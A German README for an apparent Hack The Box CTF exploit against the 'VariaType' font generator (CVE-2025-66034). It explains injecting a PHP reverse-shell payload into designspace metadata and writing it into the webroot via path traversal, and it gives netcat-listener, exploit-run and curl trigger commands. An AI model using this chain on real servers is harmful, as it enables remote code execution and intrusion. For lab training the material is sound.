CVE-2025-66034-htb-ctf

VariaType Exploit für den Generator variabler Schriftarten

Dieses Repository enthält einen speziellen Exploit für die VariaType-Maschine auf Hack The Box. Der Exploit nutzt eine Schwachstelle in der Art und Weise aus, wie die fontTools-Bibliothek oder die Webanwendung .designspace-XML-Dateien und Metadateninterpolationen verarbeitet, um eine Remote Code Execution (RCE) zu erreichen.

📝 Beschreibung

Die Schwachstelle liegt im Schriftgenerierungsprozess. Durch das Erstellen einer bösartigen designspace-Datei können wir eine PHP-Reverse-Shell-Nutzlast in die Metadaten der Schrift (insbesondere das <labelname>-Feld) einschleusen. Wenn der Server diese Dateien verarbeitet, um eine variable Schrift zu generieren, schreibt er die Ausgabe in einen benutzerdefinierten Pfad, sodass wir eine .php-Shell im Webroot ablegen können.

🛠️ Funktionen

• Automatisierte Schriftgenerierung: Erstellt gültige Master-Schriften source-light.ttf und source-regular.ttf mit fontTools.
• XML-Injection: Generiert eine bösartige designspace-Datei mit einer in CDATA verpackten PHP-Nutzlast.
• Path Traversal / Beliebiges Datei-Schreiben: Versucht, die resultierende „Schrift“ als .php-Datei im öffentlichen Verzeichnis zu speichern.
• Randomisierung: Erzeugt eindeutige Shell-Namen, um Konflikte zu vermeiden.

🚀 Voraussetzungen

Sie müssen Python 3 installiert haben sowie die folgenden Bibliotheken:

pip install fontTools requests

💻 Verwendung

1. Starten Sie Ihren Listener

Auf Ihrem lokalen Rechner (oder Pwnbox) starten Sie einen Netcat-Listener:

nc -lvnp 4444

2. Führen Sie den Exploit aus

Führen Sie das Skript mit Ihrer HTB-VPN-IP und dem Listener-Port aus:

python3 exploit.py --ip <IHRE_IP> --port 4444

3. Lösen Sie die Shell aus

Wenn der Upload einen 200 OK (oder manchmal auch einen 500 zurückgibt, falls die Verarbeitung vor dem Fehler erfolgt), liefert das Skript den Dateinamen. Greifen Sie per curl oder über Ihren Browser darauf zu:

curl http://portal.variatype.htb/shell_xxxxxx.php

⚙️ Argumente

⚠️ Haftungsausschluss

Dieses Skript ist nur für Bildungszwecke und autorisierte Penetrationstests bestimmt. Der Zugriff auf oder Angriff auf Ziele ohne vorherige Genehmigung ist illegal.

So verwenden Sie diese README:

1. Speichern Sie den obigen Inhalt als README.md im selben Ordner wie Ihr Skript.
2. Stellen Sie sicher, dass Ihr Skript exploit.py heißt, oder aktualisieren Sie den Dateinamen in den obigen Befehlen.